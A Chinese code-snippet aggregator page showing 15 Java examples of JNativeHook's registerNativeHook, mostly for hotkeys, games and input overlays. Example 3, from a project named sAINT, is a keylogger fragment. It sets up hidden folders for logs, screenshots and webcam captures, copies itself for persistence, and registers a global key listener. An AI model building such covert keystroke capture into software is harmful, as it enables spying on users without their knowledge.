当前位置: 首页>>代码示例>>Java>>正文


Java GlobalScreen.registerNativeHook方法代码示例

本文整理汇总了Java中org.jnativehook.GlobalScreen.registerNativeHook方法的典型用法代码示例。如果您正苦于以下问题:Java GlobalScreen.registerNativeHook方法的具体用法?Java GlobalScreen.registerNativeHook怎么用?Java GlobalScreen.registerNativeHook使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在org.jnativehook.GlobalScreen的用法示例。


在下文中一共展示了GlobalScreen.registerNativeHook方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: setup

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void setup() {
    // setup keyhook
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        System.exit(1);
    }
    HKM = new KeyHook();
    HKM.addValidHotkey("Space");
    GlobalScreen.addNativeKeyListener(HKM);
    System.out.println("[KeyHook setup]");
    try {
        robot = new Robot();
    } catch (AWTException e) {
        System.out.println("Robot could not be created...");
    }
}
 
开发者ID:SlideKB,项目名称:SlideBar,代码行数:23,代码来源:AdobePremiere.java

示例2: initializeGame

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
private static void initializeGame() {

		AnsiConsole.systemInstall();
		
		try {
			GlobalScreen.registerNativeHook();
		} catch (NativeHookException ex) {
			System.err.println("There was a problem registering the native hook.");
			System.err.println(ex.getMessage());

			System.exit(1);
		}

		// registers a shutdown hook
		// this shutdown hook is called before the jvm is shutdown and releases the dependencies
		Runtime.getRuntime().addShutdownHook(new Thread() {
			@Override
			public void run() {
				GlobalScreen.unregisterNativeHook();
				System.out.println("unregister native hook");
				AnsiConsole.out.print(Ansi.ansi().eraseScreen(Erase.FORWARD));
				AnsiConsole.systemUninstall();
				System.out.println("uninstall ansi console");
				// network can be closed here
			}
		});
	}
 
开发者ID:manuelz120,项目名称:tetris4j,代码行数:28,代码来源:Main.java

示例3: main

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void main(String[] args) throws IOException {
    detectOS();

    app_path = System.getenv(environment_variable_path) + folder;

    createFolder(app_path);
    createFolder(app_path + path_logs);
    createFolder(app_path + path_screenshot);
    createFolder(app_path + path_cam);

    if (persistence == true) {
        copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
    }
    GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
 
开发者ID:tiagorlampert,项目名称:sAINT,代码行数:22,代码来源:Keylogger.java

示例4: init

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void init() {
	try {
		// Get the logger for "org.jnativehook" and set the level
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(loggingLevel);

		// disable the parent handlers
		logger.setUseParentHandlers(false);

		// Init JNativeHook
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new NativeKeyListener());

		Log.debug("JNativeHook initialized.");
	} catch (NativeHookException e) {
		e.printStackTrace();
	}
}
 
开发者ID:Bleuzen,项目名称:Blizcord,代码行数:19,代码来源:NativeKeyListener.java

示例5: init

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void init() {
    // Get the logger for "org.jnativehook" and set the level to off.
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    db = new DbHandler();
    db.onCreateDB();
    db.createTable();

    // Change the level for all handlers attached to the default logger.
    Handler[] handlers = Logger.getLogger("").getHandlers();
    for (int i = 0; i < handlers.length; i++) {
        handlers[i].setLevel(Level.OFF);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem while registering the native hook.");
        System.err.println(ex.getMessage());

        System.exit(1);
    }
    GlobalScreen.addNativeKeyListener(new Main());
}
 
开发者ID:maximova136,项目名称:j-demo,代码行数:27,代码来源:Main.java

示例6: setup

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void setup() {
    // setup keyhook
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        System.exit(1);
    }
    kh = new KeyHook();
    GlobalScreen.addNativeKeyListener(kh);
    System.out.println("[KeyHook setup]");

    kh.addValidAlphaKey("Space");
    kh.addValidAlphaKey("Enter");
    kh.addValidAlphaKey("Backspace");
}
 
开发者ID:SlideKB,项目名称:SlideBar,代码行数:21,代码来源:TypeWriter.java

示例7: setOnScrollListener

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
/**
 * Enables handling of scroll and mouse wheel events for the node.
 * This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
 * @see #notifyScrollEvent
 * @param intersectionTestFunc a function that takes an event object and must return boolean
 * @return itself to let you use a chain of calls
 */
MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
    if (SystemUtils.IS_OS_WINDOWS) {
        if (!GlobalScreen.isNativeHookRegistered()) {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException | UnsatisfiedLinkError e) {
                e.printStackTrace();
                Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
                sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
                return this;
            }
        }
        mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
        GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
    } else {
        sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    }

    return this;
}
 
开发者ID:DeskChan,项目名称:DeskChan,代码行数:28,代码来源:MouseEventNotificator.java

示例8: addListeners

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
开发者ID:thatdude624,项目名称:Spark-Reader,代码行数:17,代码来源:JNativeKeyHandler.java

示例9: init

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void init(Config config, IconManager iconManager, Processor processor) {
    setConfig(config);
    setIconManager(iconManager);
    setProcessor(processor);
    setupLogs();
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());

        System.exit(1);
    }

    Display.getDefault().asyncExec(new Runnable() {
        @Override
        public void run() {
            screenSelectorShell = new ScreenSelectorShell();
        }
    });

    GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
开发者ID:kamil-karkus,项目名称:EasySnap,代码行数:24,代码来源:GlobalKeyListener.java

示例10: initGlobalListeners

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
private void initGlobalListeners() {
    // Initialze native hook.
    try {
        GlobalScreen.registerNativeHook();
    }
    catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        ex.printStackTrace();
        System.exit(1);
    }
    detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
    GlobalScreen.addNativeKeyListener(detectKeys);
    GlobalScreen.addNativeMouseWheelListener(detectKeys);
    GlobalScreen.addNativeMouseListener(detectKeys);
}
 
开发者ID:CorpWar,项目名称:keycast,代码行数:17,代码来源:Keycast.java

示例11: main

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void main(String[] args) throws InterruptedException
{
	disableLogging();
	try
	{
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex)
	{
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		System.exit(1);
	}

	GlobalMouseListener globalMouseListener = new GlobalMouseListener();
	GlobalScreen.addNativeMouseListener(globalMouseListener);
	GlobalScreen.addNativeMouseMotionListener(globalMouseListener);
	GlobalScreen.addNativeMouseWheelListener(globalMouseListener);
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
开发者ID:tomzx,项目名称:gkm-java,代码行数:22,代码来源:GlobalListener.java

示例12: initialize

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public static void initialize() throws NativeHookException
{
	GlobalScreen.initialize();
	GlobalScreen.registerNativeHook();
	if(GlobalScreen.isNativeHookRegistered())
	{
		listener = new LowLevelKeyListener();
		GlobalScreen.getInstance().addNativeKeyListener(listener);
		enabled = true;
	}
	else 
	{
		enabled = false;
		throw new NativeHookException("Could not register hook");
	}
}
 
开发者ID:Hual,项目名称:UploadR,代码行数:17,代码来源:LowLevelKeyListener.java

示例13: await

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
final public void await() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException e1) {
		return;
	} 			
	
	GlobalScreen.getInstance().addNativeKeyListener(this);
	GlobalScreen.getInstance().addNativeMouseMotionListener(this);
	GlobalScreen.getInstance().addNativeMouseListener(this);
	try {
		detectedSignal.await();
	} catch (InterruptedException e) {

	}
}
 
开发者ID:sikuli,项目名称:sikuli-slides,代码行数:17,代码来源:NativeInputLatch.java

示例14: start

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
public void start(){
	try {
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		//    		System.exit(1);
	}

	//Construct the example object.
	//GlobalMouseListenerExample example = new GlobalMouseListenerExample();

	//Add the appropriate listeners for the example object.
	GlobalScreen.getInstance().addNativeMouseListener(this);
	GlobalScreen.getInstance().addNativeMouseMotionListener(this);
}
 
开发者ID:sikuli,项目名称:sikuli-slides,代码行数:19,代码来源:MouseEventDetector.java

示例15: initNativeMouseMotionListener

import org.jnativehook.GlobalScreen; //导入方法依赖的package包/类
/**
 * Use jnativehook to detect mouse drag events and show popover
 */
private void initNativeMouseMotionListener() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	GlobalScreen.addNativeMouseMotionListener(this);
	GlobalScreen.addNativeMouseListener(this);
	GlobalScreen.addNativeKeyListener(this);
}
 
开发者ID:michaelnetter,项目名称:dracoon-dropzone,代码行数:14,代码来源:DropzonePopOver.java


注:本文中的org.jnativehook.GlobalScreen.registerNativeHook方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。